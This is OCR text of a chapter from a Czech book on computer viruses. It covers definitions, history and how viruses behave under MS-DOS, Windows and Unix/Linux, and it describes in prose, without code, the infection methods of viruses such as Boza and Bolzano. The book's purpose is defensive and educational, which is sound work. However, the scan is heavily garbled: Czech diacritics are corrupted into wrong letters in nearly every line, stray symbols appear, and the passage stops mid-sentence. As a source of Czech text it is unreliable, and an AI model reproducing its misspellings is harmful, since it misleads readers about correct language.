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17 virty, hlasil monitor. Potadi — 3888. Pavel udetil do klavesnice sedmi prsty soucasné. Tento
kralovsky hmat, kterym soucasné stiskl klavesy D, H, J, I, Alt, Home a *, cviéil dlouhé tgdny.
Dobre védél, Ze se mu vechny klavesy soucasné podafi stisknout jen v jednom z deseti poku-
st, ale pevné doufal, Ze Gspéch se dostavi pravé ted. Byl to viceméné tajny kod a stalo ho znac-
nou Castku, nez se mu tuto informaci podafilo vymamit z nemluvngch soupefi. Ovsem byl to
zaroven jeding zpusob, jakym z boot sektoru odstranit virus Hekatomba...

Z povidky Josefa Pecinovského , Troglodyt a maska®,

PC WORLD 11/92

PRAVE JSTE OBDRZELI MANUALNI VIRUS:
Tento virus pracuje na Cestné bazi. Takze prosim nejprve tuto zpravu rozeslete na viechny
adresy ve vaSem mailing listu, a pak nahodné zruste nékolik souborti na vasem disku.
Internetovd e-mailovd lidovd uméleckd tvofivost
¢ty¥i roky od proniho vydani této knihy






1. Definice a zakladni vlastnosti

~ e ~ & °
pocitacového viru
Pocitaovy virus. Virus AIDS opét v akci! Je to divod k panice? Pro laickou vefejnost jisté. Diky
znané démonizaci a zveli¢eni pocitatovych virt sdélovacimi prostfedky musi nezasvéceny uzi-
vatel pocitace nabyt dojem, Ze pro praci s pocitatem jsou nezbytné nutné ochranné pomiicky
typu rouska pres Usta a gumové rukavice. Sesty biezen. Kdo si nevzpomene na antivirové ta-
Zeni proti viru Michelangelo, které pravé masmeédia na toto aktivaéni datum v roce 1992 roz-
poutala? Panika a strach byly takové, Ze nékteré organizace vydaly na tento den zakaz prace
na pocitacich. Jinde byly patého bfezna provadény zmény systémového Casu tak, aby pocitace
Sesty biezen Gplné preskodily. A to ve kolem viru, ktery navic nepatfi mezi ty nejnebezpeinéj-
§i. Je ale zfejmé, Ze kazda véc ma neoddélitelné své kladné i zaporné stranky. Na jedné strané
kampan drastickfm zplisobem dala najevo svétu pfitomnost pocéitacovich virti, ¢imZz nabuyl
pojem nezbytnosti antivirové ochrany realnych rozmér(; na strané druhé vsak stejnd kampan
méla za néasledek vétsi aktivitu virovgch tviircti. Stafi vici zacali vyvijet vétsi aktivitu a dokonalej-
§i virové postupy, novi byli k této opovrzenihodné ¢éinnosti pfilakani. Ve svich disledcich je to
jako s volbou odsouzeného, zda si pteje byt obéSen &i zasttelen. Takova byla situace v dobé
psani prvniho vydani. Rok 2000 je ve znameni skriptovacich ¢ervi, nové odnoZe pocitatovich
virtl, ze ktergch [LoveYou se stal medialné nejslavnéj$im. Bez ohledu na dobu, jedno je jiste -
pocitatové viry jsou tady a &im vic o nich budeme védét, tim lépe pro nés. A to je i hlavnim ci-
lem této knihy.

Co je to pocitacovy virus?
Odpovédét na tuto otazku znamena ujasnit si hledisko pohledu na danou problematiku. Lze ¥i-
ci, ze pocitacovy virus, a tudiz jeho definici, Ize chapat ze dvou zékladnich hledisek:

¢ Hledisko uzivatelské
Pocitacovy virus je jednou z mnoha hrozeb bezpecnosti a integrity poéitatovych systémdi.
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¢ Hledisko programatorskeé
Potitacovy virus je pocitatovy program, ktery muize infikovat jing pocitatovy program takovym
zpUsobem, Ze do né&j zkopiruje své télo, &imz se infikovang program stava prostiredkem pro dal-
5 aktivaci viru. Autorem této definice je jeden z antivirovgch prikopnikii Fred B. Cohen.

Pocitaovy virus neni v zaddném piipadé véc mysticka, ale je to jen a pouze pocitaéovy pro-
gram, tj. sled instrukci procesoru, kterg je schopen vykonavat pouze to, k ¢emu jej programa-
tor-tvlirce naprogramoval. Hlavni véci, kterou se od béznych programii odliuje a ¢im se stava
pro vefejnost pfitazlivgm, je pravé schopnost replikovat své vlastni télo. Diky této skutecnosti
se zalina pocitatovy virus svgm chovanim pfiblizovat viru biologickému, a proto nékdy doché-
zi i k nedorozuménim viéi laické vetejnosti (viz uvedeny virus AIDS).

Samotnéa historie pocitacovich virl je relativné kratka. Pruni znamé publikace vydané k této
oblasti se datuji k letem 1984-85. Nicméné i za tuto historicky kratkou dobu staéila tato oblast
projit nékolika viznamnymi etapami vijvoje od vir naprosto primitivnich aZ po viry zaludné a vy-
soce inteligentni. V sou¢asné dobé nelze jednoznaéné fici, kolik poéitacovych virli se ve svété vy-
skytuje. Existence polymorfnich viri, kdy kazd{ vygenerovany tvar maé jinou podobu, a ¢asty v{-
skyt rtiizngch odvozenin, nedovoluji stanovit jednoznaéné &islo. V roce 1996 se seridzni odhad
pohyboval kolem hodnoty 10 000 zakladnich virovjch tvard; v roce 2000 Virus Information Li-
brary pak uvadi vice nez 53 000.

Na prvni pohled je zfejmé, Ze obé uvedené definice spolu velice Gizce souvisi. Ochrana pocita-
Covch dat musi bt v soucasnosti s velkou mirou spolehlivosti zajisténa nejen proti virovgm tto-
kiim, ale i proti tokiim zvédavich hacker & jingm formam zneuZiti, jako jsou napt. neopravné-
né databazové zasahy, kradeZze, podvody ¢&i zneuzZiti osobnich dat (stav bankovniho konta apod.).

Poctitacovy virus je program, pro ktery plati néktera dalsi uptesnujici specifika:

e Nezbytna nutnost hostitele
Podobné jako je tomu v ptipadé virti biologickych, tak i viry pocitatové nutné potfebuji ke
svému zivotu hostitele. Virus na pocitati méa dvé stéZejni moznosti symbidzy: systémové ob-
lasti disku (zejména zavadéci sektor nebo registry Windows) a spustitelné programy, které
mohou byt napadeny bud’ pfimo nebo nepfimo.

e Mala velikost virového programu

Divod malé velikosti viru je ziejmg. Cim men3i je virus, tim méné je napadng. Pochopitelng,
Ze tato formulace je velice obecnéa a znaéné povrchni, vystihuje vsak podstatu snahy virovgch
tvlrcd. Velikost virl se pohybuje od desitek bajtt aZ po desitky kilobajtt. U béznych vird, kte-
ré disponuji obranngmi polymorfnimi a stealth technikami, se velikost kodu pohybuje kolem
Ctyt kilobajta. Délka primitivnéji konstruovanych virtt se pohybuje v rozmezi stovek baijtu.
Jednim z nejmohutnéjSich vira je virus MiniMax, ktery prodluzuje infikovany soubor aZz
o 31 125 B. Vétsinu této delky viak tvofi neviznamna vipli.
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Dfive byla malé velikost viru jedingm maskovacim prostfedkem proti jeho zjisténi na po-
Citadi, Casem v8ak byly sestaveny techniky daleko dokonalejsi. V prvé fadé se jedné o skupi-
nu tzv. stealth virli, které aktivnim monitorovanim pozadavkt kladengch na opera¢ni systém
zajistuji podvrzeni takovgch Gdajti, jako kdyby virus v poéitaci nebyl pfitomen.

e Vse naprogramovano v Assembleru

Od pozadavku na co nejmensi velikost koddu se odviji skutecnost, Ze drtiva vétsina virl je na-
programovéna pravé v Assembleru. Jiné programovaci jazyky jsou, vzhledem k problémim
s efektivitou visledného kédu (implicitni startovaci &ast kédu, pfilinkovani knihoven funkci
apod.), zastoupeny sporadicky. Samoziejmé jsou znamy viry vytvofené jak v Pascalu (napft.
Sentinel ¢ RNA), tak i v jazyce C. Vyssi programovaci jazyky jsou pouZivany zejména k tzv.
generatorim virtl. Generatory viri umoziuji i naprostym laikiim vytvofit na pozadani novg
virus. V posledni dobé byl zaznamenén i pfiliv jednoduchych virti napsangch ve vyssich pro-
gramovacich jazycich pravé z divodu implicitnich startovacich kodi generovanych preklada-
gem, kterg znatelné ztézuje analyzu viru. Uplnou novinkou jsou viry v Javé a viry, vyuZivajici
rizné skriptovaci jazyky ¢i dokonce HTML.

e Symbioza s hostitelem
Korekiné sestaveny virus zajisti, Ze pfi spusténi zavirovaného programu bude provedeno nej-
prve virové télo a teprve po jeho zdarném provedeni preda Fizeni vlastnimu zavirovanému
programu tak, Ze uZivatel pfitomnost viru ve vétsiné piipadi nezjisti. Vgjimku tvofi tzv. pre-
pisujici viry, které ptepisi ¢ast kodu svého hostitele, &imz jej zbavi ptivodni funkénosti. Pravé
tato skutecnost je nejvétsi hrozbou pro uZivatele, resp. jeho cenna data.

~e ~ (4 Ld ~ 4 &

2, Pocitacovy virus a operacni system

K tomu, aby byl virus schopen na pocitaci preZit a dale replikovat své télo, musi mit pochopi-
telné vytvoreny piiznive podminky ze strany operacniho systému. Cim vice se dany operacni
systém blizi k oznaéeni ,bezpecny“, tim méné Sanci na preziti virus ma. Lze bez nadsazky fici,
Ze kdyby na svété nebylo operaéniho systému MS-DOS, nebylo by ani této knihy a problema-
tika pocitatovych virti by nas zfejmé vibec netréapila. Platforma operaéniho systému MS-DOS
je bohuzel takova, Ze jedinou obranou proti nelegalnim systémovym operacim je programéato-
rova neznalost. Smutny fakt, diky kterému musi b{t vSem naprosto jasné, pro¢ drtiva vétdina
existujicich virti parazituje pravé v tomto operacnim prosttedi.

Obecné plati, Ze poéitacovi virus je vzdy sestaven pro konkrétni typ operaéniho systé-
mu. Neexistuje virus univerzdlni. Ddvody jsou zfejmé. Nap¥. v operaénich systémech Win-
dows NT a OS/2 schdzi nejen tiplnd podpora dosouvich sluzeb, ale zejména chybi podpora
preruseni BIOSu int 13h, provddéjici diskové operace. A pravé vétsina bootovacich virt
MS-DOS a nékteré viry multipartitni (mezi néz patii i znadmg One Half) obsluhuji zejména
toto preruseni. Kazd{ operacni systém md svd vlastni specifika, kterd se casto, alespon na
virovém poli, vzdjemné vylucuji. Uréitou miru univerzdlnosti p¥indsi platformouvé nezdvisla
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dJava. Vzhledem k nutnosti mit na dané platformé interpret Javy a znacnim bezpecnost-
nim omezenim javouvich appletti nelze vsak v zddném p¥ipadé povazovat javové viry za pri-
klad univerzdiniho viru v pravém slova smyslu.

Z&dny operaéni systém neni vii&i poitatovym viriim nebo obdobnym hrozbam stoprocent-
né odolng. Je mozné pouze stanovit ideovy smér, kudy by se mél navrh ,idealniho“ operacni-
ho systému ubirat. V prvé fadé je to nutnost chranéného rezimu, ktera by ve svich disledcich
meéla umoznit, pfi spusténi programu ¢ pfekryvngch moduld, jejich oznaceni pouze ke &teni
spolu se zdkazem pfimého zasahu do systému spravy soubort. Neopomenutelna je i priorita za-
vadéni operaéniho systému z pevného disku, coz jiz dnesni ROM-BIOSy bézné umoziuji. Toto
jsou pouze nezbytné nutné kroky, v praxi je vie daleko komplikovangjsi a i relativné bezpecéné
operaéni systémy se virovgm potizim nevyhnou.

2.1. Virus a MS-DOS

MS-DOS, i vzhledem ke své malé velikosti, je na rozdil od jinych operacnich systémii (napt.
Unix) ze systémového hlediska velice primitivni monouZivatelsky opera¢ni systém. Shrnuto
v kostce, MS-DOS vytvéfi, k jiz existujicim pferusenim dangch ROM-BIOSem, pouze samot-
né jadro systému, tvofené nékolika dalsimi pferusenimi Dosu (zejména int 21h), které zajistu-
ji zavedeni operaéniho systému, vazbu na hardware a interpretaci ptikazi (COMMAND.COM).
K tomu vSemu magicka hranice 640 kB operacni paméti a uzivatelsky nastavitelné konfigurac-
ni soubory CONFIG.SYS a AUTOEXEC.BAT pro pocateéni inicializaci operaéniho systému.
Reélny rezim a neexistence procesu, zajistujiciho legitimnost opravnéni prislusngch pozadav-
kil na operaéni systém - to je velice Urodna puda pro pocitacové viry. Staci podrobnéjsi po-
pis operaéniho systému, af uz v kniznim vydani, ¢&i v elektronické podobé hypertextového ma-
nuélu typu TechHelp, a programétor méa operacéni systém zcela ve své moci. Na druhou stranu
potfeba systémového programovani nuti vjrobce operaéniho systému tyto informace uvetej-
nit. Jednim z typickgch p¥ikladii systémového programovani je tvorba rezidentnich programd,
kterd je zaroven i kliCovou zéleZitosti pfi tvorbé téchto virt.

Vezmeme-li na zietel dal3i dilezity fakt, Ze tento operaéni systém je nejenom svym zplisobem
primitivni, ale Ze je diky svému pteduréeni pro osobni poéitace ve své dobé ve svété i bezespo-
ru jednim z nejrozsitengjSich, pak je ziejmé, Ze hrozba ztraty dat v souvislosti s pocitatovymi vi-
ry neni zanedbatelnd a rozhodné ji neni moZzno podcenit. Déle je zfejmé, Ze i tvlrci vira daleko
vice pfitahuje operaéni systém, ktery je masové rozsifeny nez operaéni systém, u kterého ne-
jsou dany ptredpoklady pro vétsi sifeni daného viru.

Vyznam dosoviych virt v roce 2000 je jiz jen historicky a transformuje se do projevii chovani
na jingch operaénich systémech.

Jak je to s dosovymi viry v prostiedi nedosovich systémt? Odpovéd’ zdvisi na povaze
daného operacniho systému. Ve své podstaté dosové viry nemohou na nedosouvijch ope-
racnich systémech fungovat. Funkénost mizZe byt zachovdna jediné spusténim emuldtoru
MS-DOSu nebo pokud operacéni systém obsahuje podporu dosovich aplikaci, jako je to-
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mu napf. v systému Windows 95, ¢i je-li operaéni systém oznacovdan jako MS-DOS kom-
patibilni. Pokud je emulace zajisténa, pak je vzdy nutné peélivé nadefinovat, jakd oprav-
néni maji mit emulované programy vici hostitelskému operaénimu systému. V kazdém
pfipadé jednoznaéné plati, Ze ¢im je virus jednodussi, tim ma vétsi Sanci na preziti v hos-
titelském operaénim systému. Slozité polymorfni, multipartitni, tunelujici stealth viry na-
pfF. v systému Windows 95, moc Sanci mit nebudou.

2.2. Virus a Windows

Otézka virti v operacnich systémech typu Windows (zejména Windows 3.1, Windows 3.11 for
Workgroups, Windows NT, X-Windows, Windows 95, Windows 98 a Windows 2000) je ¢lené-
na do téchto hlavnich kategorii:

e Viry MS-DOS v prostredi Windows

Souborové dosové viry pfi infikaci programu nerozliduji, zda se jedna o dosovy program ne-
bo o aplikaci Windows. To ma za nasledek mozné komplikace po spusténi infikované apli-
kace. Konkreétni chovani programu zavisi vZdy na koncepci viru a druhu prostfedi Windows.
Nejcitlivejsi na infikaci dosovym virem je startovaci program win.com systémovych pied-
chiidctt Windows 95. V okamziku, kdy dojde k infikaci tohoto souboru, Windows ,,spadnou®
pfi pokusu o start. Tato skutecnost se velice dobte osvédiila v praxi jako indikace zavirova-
ni pocitace.

Samotné prostiedi star$ich Windows pak podporuje spusténi dosovgch aplikaci. To je dalsi
moznost pro dosové viry a jejich mnoZeni. Zda vse probéhne v poradku nebo dojde k chy-
bé, ¢ dokonce k zamrznuti Windows, opét zavisi na konkrétnich podminkach.

¢ Semi-Windows viry

Jsou nerezidentni viry, které nevyuzivaji volani Windows, ale pouze znalosti formatt zéhlavi
~Segmented Executable“ a ,New Executable“, které jsou rozsitenim zahlavi dosovich pro-
grami. V¥znam téchto zadhlavi pro Windows je zfejmy. Je-li aplikace Windows spusténa
z prostfedi Dosu, pak je na obrazovce vypisovano hlaseni typu , This program requires Mi-
crosoft Windows*“. Viry pouzivaji pouze standardni sluzby Dosu, nebof verze predchazejici
Windows 95 nejsou operacnimi systémy v pravém slova smyslu, ale pouze operacnim pro-
sttedim ovladajicim uZzivatelské rozhrani a aplikaéni multitasking.

Ptikladem je virus WinVir 14. Je-li infikovany program spustén (af uz prosttednictvim sou-
boru EXE ¢i PIF), dojde k napadeni viech programii v pracovnim adreséafi. K zavirovani do-
sovych programt nedochézi. Virus pouziva pfimou infikaci, po dokonéeni replikace odstra-
ni své télo z programu, ktery jej aktivoval. To umoZzni, do$lo-li ke spusténi programu
nejbéznéjsim zpusobem ve starsich Windows — dvojklikem na ikonu, aby uzivatel nabyl do-
jmu svého $patného kliknuti a az po opétovném dvojkliku dojde k tspésnému spusténi ori-
ginalniho tvaru programu, nyni jiz odvirovaného.

Virus nevytvaii Zadna vlastni okna, ani nekomunikuje s okny jingmi. Neobsahuje Zadnou
destruktivni rutinu. Zajimava a velmi netypicka je i metoda odvirovani, plynouci z popisu
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procesu infikace timto virem. Izolovanim zavirovaného programu v separatnim adreséfi a jeho
spusténim dojde k odstranéni viru z programu.

e Skutecné viry Windows
Vyskyt virt ve formé korektnich aplikaci Windows je v dobé nastupu Windows 95 sporadic-
ky. Veétsi Cetnosti brani nedostatek systémovych informaci a zkugenosti virovch tviirct o pro-
stfedi Windows. Viry maji vétsinou nerezidentni podobu pfimych infektorti, podobné jako to-
mu bylo na pocéatku vivoje dosovych virt. Prvnim zajimavéj$im virem je, byt velice
primitivnim, polymorfni virus Lame.

Masivni nastup dalsich Windows pfinasi fadu novych spustitelngch tvart, které se postup-
né stavaji terem infikaci. Napadany nejsou jiz jen soubory EXE, ale i dynamické knihovny
DLL a systémové ovladace VxD virtudlnich zatizeni. Virtuélni ovlada¢ zatizeni (Virtual Device
Driver) ovlada systémové zdroje (disky, klavesnice, displej apod.) tak, Ze dané zafizeni miize
byt najednou sdileno nékolika aplikacemi. V prosttedi Windows 3.1 maiji virtualni ovladace pfi-
ponu .386, v prostiedi Windows 95 jsou to jiZz zmifiované soubory *.VxD, kde x charakteri-
zuje dané zafizené (napf. VID - asovac). U tvarlt EXE jsou infikovany spustitelné formaty
NE (New Executable), LE a LX (Linear Executable). Nejéastéji napadanym formatem je ale PE
(Portable Executable), ktery jde napfi¢ viemi verzemi Windows 3.x/95/98/NT, obsahujici
32bitovy kéd soubortt EXE & DLL. Samoziejmé, Ze virus musi respektovat odliSnosti béhu
aplikaci pod Windows 95,/98 a NT, v opa¢ném piipadé mohou byt nasledky systémovich ne-
kompatibilit vétsi nez samotné virové akce (pad systému apod.). Pikladem virti napadajicich
formét PE, je rezidentni polymorfni virus Harrier, vyznacujici se netradi¢ni velikosti az okolo
100 kB. Doba, kdy virus maskoval svoji pfitomnost na pocitaci snahou o co nejmensi velikos-
ti je nahrazena stale dokonalej$imi maskovacimi stealth technikami v redlném case a poly-
morfnimi generacemi odlisnych jedinct pfi procesu infikace hostitele. Tak napfiklad virus Run-
ning Line dekéduje v paméti vzdy jen jednu instrukci a je nejen velice obtizné jej detekovat,
ale i analyzovat.

Sdileni spustitelngch formatt v prostfedich Windows je dvojseiné. Vihodou je, ze tada
aplikaci tak muiize béZet nejen na svém primarnim systému, ale napt. i na prosazujicich se
Windows CE. V oblasti pocitatovich virli vsak spusténi takovéto zavirované aplikace miize
mit i velice dramatické dusledky.

e Skriptovaci viry

Novy druh virovgch hrozeb, se ktergmi se mutze uZivatel setkat i v dobé, kdy o tom nema nej-
mensi ponéti. Malokoho by napadlo, Ze i chatovaci servery IRC mohou byt zdrojem virovgch
hrozeb. Worm Pron je skriptovaci Cerv, napadajici uZivatele programu mIRC, ktery po kanéa-
lu IRC zasila ostatnim ptihlasenym davkovy soubor, kterg ma zjistit Cervu kontrolu nad napa-
denym pocitaem. Maji-li uZivatelé nastaveny automaticky ptijem soubort, jsou infikovani
a po opétovném spusténi programu mIRC za¢nou sami napadat ostatni pfihlaSené. Cerv
Worn Pron nastinil cestu, virus Inca pak jiz napada soubory EXE a SCR (aktivni stmivace
obrazovek) Windows 95/98, pfiCemz pomoci kanédlu IRC zasila svlij vypoustéé (dropper)
a vklada jej do archivli ZIP, ARJ, RAR, PAK, LZH a LHA.
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K zajimavym skriptovacim virim patfi virus Vxer napadajici soubory INF. Modifikaci
AUTOEXEC.BATUu si virus zajisti svoji opétovnou aktivaci po restartu pocitace. M4 za nésle-
dek zhrouceni schopnosti plug-and-play Windows 95,/98.

Castou podobou virovgch skriptti jsou soubory VBS (Visual Basic Script), které infikuji ji-
né skripty tim, Ze prikopiruji svoji kopii na zacatek napadeného skriptu. Virus Mutate méa do-
konce skriptovy polymorfni charakter.

Do této kategorie je mozné zafadit i viry HTML, které znamenaji, Ze ani webové stranky
jiZ nejsou nejbezpedngjsi. Virus Redirect napadéa soubory HTM tak, Ze vytvori duplicitni ko-
pii s pfiponou HTML a sdm sebe ptekopiruje do souboru HTM. Tento mechanismus je pres-
nou paralelou souborovgch duplicitnich viri (viz dale). Vzhledem k bezpeénostnim omezenim
stahovani nedtvéryhodného obsahu z Internetu je virus Redirect funkéni pouze tehdy, je-li
prohlizen z lokalniho disku. Prakticky je toto mozné jen v pfipadé, stahne-li si uZivatel infiko-
vanou stranku na svijj pocita pomoci programu stahujiciho obsah webovich stranek typu
WebZip, Teleport apod.

Unikatnim piikladem skriptovacich viri je Gala. Jde o prvni znamy virovg skript, infikuji-
ci skripty programu CorelDraw (soubory *.CSC). Skriptové télo viru je pfipisovano na poca-
tek napadeného skriptu.

e Makroviry
Jelikoz tento druh virtt podobné infiltrace nepouziva sluzby operaéniho systému, ale makro-
jazyk pfislusné aplikace, nestoji makroviriim v jejich ¢innosti v prostfedi Windows zadné pre-
kazky.
Byt zafazeni Cervli a makrovirii do této kapitoly neodpovida zcela pfesné konstrukci téchto
hrozeb, je zcela v souladu s realitou, kde se s nimi uzivatel mize setkat.

2.2.1. Viry v prostiedi Windows 95/98

Architektura operacniho systému Windows 95 je zaloZena na podstatnych vylepsenich pfedcho-
zi verze Windows 3.1. Jedna se o 32bitovy operacni systém béZici v chranéném rezimu, kterg,
na rozdil od svich predchidct, nevyzaduje oddélenou kopii MS-DOSu. Windows 95 vsak ne-
patfi k bezpe¢nym systémiim, snaha o maximalni podporu dosovich aplikaci nadale umoZznuje
dosovym virim zachovani jejich funkénosti. Pfi béhu dosové aplikace vytvati spravce virtualni
paméti (Virtual Memory Manager) exkluzivni prostfedi pracujici v médu MS-DOS. Je spustén
virtualni stroj (Virtual Machine) podporujici prosttedi MS-DOSu a 16bitovgch Windows aplika-
ci. Windows 95 se v tomto okamziku, aZ na nezbytné nutnou &ast, odstrani z pocitae a pone-
chaji aplikaci plny pfistup ke véem zdrojim pocitate. Tim dostava virus zelenou.

Virtim nahréava i skute¢nost, ze Windows 95 nemaji na trovni operaéniho systému zadnou
vestavénou antivirovou ochranu. Tento fakt je ziejmé dusledkem netspéchu antivirového pro-
gramu Microsoft Antivirus (msav.exe) obsazeného v poslednich verzich MS-DOSu (6.20).
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e Bootovaci viry MS-DOS
Vzhledem k umisténi viru v zavadécim sektoru diskety nemaji Windows 95 moznost zédsahu
proti tomuto druhu infikace. Po infikaci a nasledném spusténi vypisuji Windows 95 ve vétsi-
né piipad hlageni o modifikaci tabulky rozdéleni pevného disku (Master Boot Record), upo-
zornujici na moznou pritomnost viru.

e Souborové viry MS-DOS
Ani proti této skupiné virti nejsou Windows 95 pfilis odolné. Disledky procesu infikace jsou
opét nevyzpytatelné. Situaci zna¢né komplikuji multipartitni viry, které kromé spustitelngch
programu napadaji i zavadéci sektory disktl. Pokud virus pouzije pfimy zapis na disk na trov-
ni BIOSu, pak opét dojde jiz k vjSe popsané modifikaci tabulky rozdéleni pevného disku.
e Skutecné viry Windows 95/98

Prvnim virem napadajicim Windows 95, je virus Boza. Napada pouze 32bitové aplikace PE
(Portable Executable), jez jsou pouzivany v systémech Windows 95 a Windows NT. Pro de-
tekci systému vyhledava rutiny jadra operaniho systému v paméti. Pokud hledané rutiny ne-
najde, pak vi, Ze je spustén ve Windows NT a k replikaci nedochézi. V opaéném piipadé Bo-
za infikuje jeden aZz tfi soubory EXE v pracovnim adresafi tak, Ze zkontroluje signaturu PE
a vytvaii na konci napadeného programu novou sekci nazvanou ,,.vlad®, kam zkopiruje své
téelo. V hlaviéce programu PE pfitom inkrementuje hodnotu poctu sekci NumberOfSection
a pfesméruje vstupni bod programu na sekci viru. Boza patfi mezi viry pfimé akce, tj. po
ukonceni replikace predava virus okamzité fizeni infikovanému programu bez dalsiho setrva-
ni v opera¢ni paméti. Neobsahuje Zadnou destruktivni rutinu, svgm pojetim pfipomina prvo-
pocateéni nerezidentni dosové viry. Jedinou nalasovanou akci je vypis hlaSeni posledniho
dne v mésici o jeho pfitomnosti. Virus pochézi z Austrélie a jeho velikost je 2 680 B. Jak uz
u virtt bgva zvykem, jejich nejvétsi nebezpedi tkvi predevsim v naprogramovangch chybach. Ani
virus Boza se chybam nevyhnul, a tak v néktergch pfipadech miize dojit ke zvétSeni infikované-
ho programu o nékolik megabajtt. Tim miize dojit i k vyerpani volného mista na disku.

V prostiedi Windows 95/98 se Castym tercem virli stava soubor C:\WINDOWS\SYSTEM\
IOSUBSYS\HSFLOP.PDR - diskovy driver, realizujici p¥istup k disketovym jednotkam. Viry tento
soubor mazou, ¢&mz nuti Windows, aby k diskovym pfistuptim pouZivaly starg zplsob prostted-
nictvim volani pferuseni BIOSu int 13h. To viru umoZni standardnim zplisobem infikovat diskety
a vyuZivat stealth mechanismy. Pfikladem je Angela — dosov§ multipartitni virus vypousté&jici skript
VBS, ktery zajistuje replikaci i cestou programtt mIRC a Microsoft Outlook.

2.2.2. Viry v prostiedi Windows NT/2000

Celg operacni system Windows NT béZi v chranéném rezimu. Navic méa v sobé integrovany funkce
ochrany dat. I ptesto, ze Windows NT rozeznavaiji ¢tyfi Grovné ochran, ¢lenéné na troven jadra
operacniho systému, servisnich programti a programt aplikacnich, neni odolnost proti pocitaco-
vgm viram velikd. V dosovém okné mohou viry provadét svoji ¢innost bez vétsich probléemt. Je-
dinou cestou je ,odstteleni“ 16bitovich aplikaci. Hlavnim specifikem je chovani bootovacich virt.
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Napadne-li bootovaci virus poéita¢, Windows NT se bud’ nerozbéhnou nebo rozbéhnou s tim, Ze
virus umistény na konci zakladni dosové paméti bude zni¢en. Pfimo na jadro funkci ochrany dat
Gtodi skutecéné 32bitové viry Bolzano (Windows NT) a FunLove (Windows 2000). Oba viry shod-
né napadaji program NTOSKRNL.EXE a zavadé¢ NTLDR, vypinaji pfepocet kontrolniho souctu
programu a modifikuji ndvratovou hodnotu funkce SeAccessCheck do podoby, kdy kazdy uziva-
tel méa pfistup ke viem soubortim. Jedinm omezenim viru je nutnost ¢ekat, dokud se na stanici
nepiihlési nékdo se systémovymi pravy modifikovat NTOSKRNL.EXE (zejména administrétor).
Vihodou Windows 2000 je, Ze systétmova komponenta System File Checker (sfc.exe) dohlizi na
integritu NTOSKRNL.EXE a po zjisténi rozdilu vyzgva uZivatele k pfepsani narusenych souborti
verzemi z instalacniho CD.

Windows 2000 pfindSeji inovovany souborovy systém NTEFS-2000, kter§ umoziiuje novy
zpusob infikace s vyuzitim datovich toku, tzv. streamt. Pfikladem je stejné pojmenovany virus
Stream, ktery vytvoti vlastni stream, do kterého zkopiruje infikovany soubor a sam sebe pak
nakopiruje do hlavniho streamu.

2.2.3. Viry a jejich prenositelnost mezi roznymi verzemi Windows

Hlavnim méfitkem ptenositelnosti skute¢ngch vird Windows mezi jednotlivimi verzemi (nebo
dokonce variantami) opera¢niho systému je zptisob manipulace viru s pamati. Rada virti vyuzi-
va skutecnost, Ze napf. pfi startu Windows 95 jsou hlavni moduly API (KERNEL32.DLL apod.)
zavadény do paméti stéle na stejné misto. To pfindsi znacné zjednoduSeni, oviem nedetekuje-
li virus, zda jsou pfislusné funkce opravdu na oekavanych adresach, muze takto koncipovanyg
virus zpusobit pad odlisngch Windows. Samotny KERNEL32.DLL, frekventované pouzivany fa-
dou programt, se stava ¢astym vyhleddvanym teréem infikace (napt. virus Lorez).

Obecné plati, Ze ¢im vice pouziva virus volani 32bitového API (Application Program Inter-
face) pro zjisténi adres pfislusngch funkci, pouzivangch viemi verzemi Windows, spolu s im-
plementaci jedné z klicovich funkci GetProcAddress, tim je pfenositelngjsi a to aZz na Groven
Windows NT a 2000. Virus Dengue jako prvni pouzil interni funkce Windows 2000 spolu se
zajimavou metodou infikace napadeného programu, kdy nahodné méni instrukce volani slu-
zeb Windows na své télo. Pfedani fizeni viru tedy mlze nastat nejenom na zacatku béhu pro-
gramu, jako je tomu u Klasickgch souborovych virti, ale v podstaté kdykoliv. To zdsadnim zpl-
sobem méni pojeti heuristické analyzy antivirovjch programi, kterym doposud stacilo ,jen®
odanalyzovat vstupni bod programu.

Dulezitym prvkem pFenositelnosti je kontrolni soucet v hlaviéce infikovaného programu (af
uz ve formé *.EXE ¢ *.DLL). Pro Windows 95 neni tato hodnota dulezita, Windows NT
a 2000 vsak pti zavadéni programu provadéii jeji kontrolu. P¥i startu operaéniho systému zpu-
sobuje takto nalezeny rozdil povéstnou ,,modrou obrazovku®.

Nemalou roli v problémech prenositelnosti hraji i service packy opera¢niho systému. Prikla-
dem je virus Infis, ktery po aplikaci néktergch service packit Windows NT 4.x pfestava fungovat.



Moderni pocitacové viry Podstata, prevence, ochrana

2.3. Virus a Unix/Linux

Viceuzivatelsky a vicetlohovy operaéni systém Unix svoji architekturou de facto znemoZziiuje
klasicky mechanismus pocitatovich vird dosového typu. Dvé zékladni koncepce, BSD (Berke-
ley Standard Distribution) a System V (AT&T), poskytuji mnohem silngjsi ochranu (privilegova-
ny a neprivilegovany rezim), disponuji vestavéngmi kontrolami na Grovni jadra opera¢niho sy-
stému a definuji uzivatelské trovné pfistupu dané vstupnim pfihlasovacim systémem uZivatelsky
Gcet/heslo. Jadro Unixu (kernel) je z hlediska bezpeénosti pomérné odolné. I ptes to, zZe jsou
rizné verze operacnich systémt dostupné ve formé zdrojovych tvart, je velice obtizné nalézt
jeho slabiny. Pokud se ptece jen néjaké vyskytnou, dochéazi pochopitelné k jejich odstranéni.
Pripadny virus by v prvé fadé musel modifikovat komponenty jadra ovéfujici piistup, coz bez
spravcovského opravnéni uzivatele root je nerealizovatelné (pozor na hrani her typu DOOM po
siti, které pfesné toto vyzaduji). Od ziskani téchto prav se odvijeji veskeré virové a virim po-
dobné &innosti. TakZe praktickym piikladem je jen nékolik skriptt shell, ptipominajicich doso-
vé davkove viry a binarni viry Staog a Bliss, napadajici spustitelné soubory Linuxu (ELF). Staog
se pokousi ziskat pfistup spravce (root) pomoci tfi znamych dér v operaénim systému. Bliss se
naopak nesnazi ziskat pfistup spravce, ale pokousi se napadnout dalsi pocitaé pres
/etc/hosts.equiv, diky emuZ se vice podoba Cervu nez viru.

Pro operaéni systémy tohoto typu jsou nejcastéjsi hrozbou trojské koné, monitorujici pfihla-
Sovaci sekvenci se snahou ukrast heslo spravce systému. Operalni systémy Unix a Linux tedy
nebojuji s viry, ale snaZi se odolat ttokiim hacker(i. Mezi nejznaméjsi utoky patfi prinik do uni-
xovych vojenskych systémi U.S. béhem operace ,,Poustni boute” v letech 1990-91 a zejména
pak internetovy Cerv studenta Roberta Morrise z roku 1988. Realnym nebezpeéim jsou i nékte-
ré sluzby Unixu typu NFS (pfipojeni systému soubort vzdalengch pocitact), sendmail (doprava
posty), FTP (pfenos souborti mezi poéitaci), finger &i ekvivalence mezi systémy, kdy za splnéni
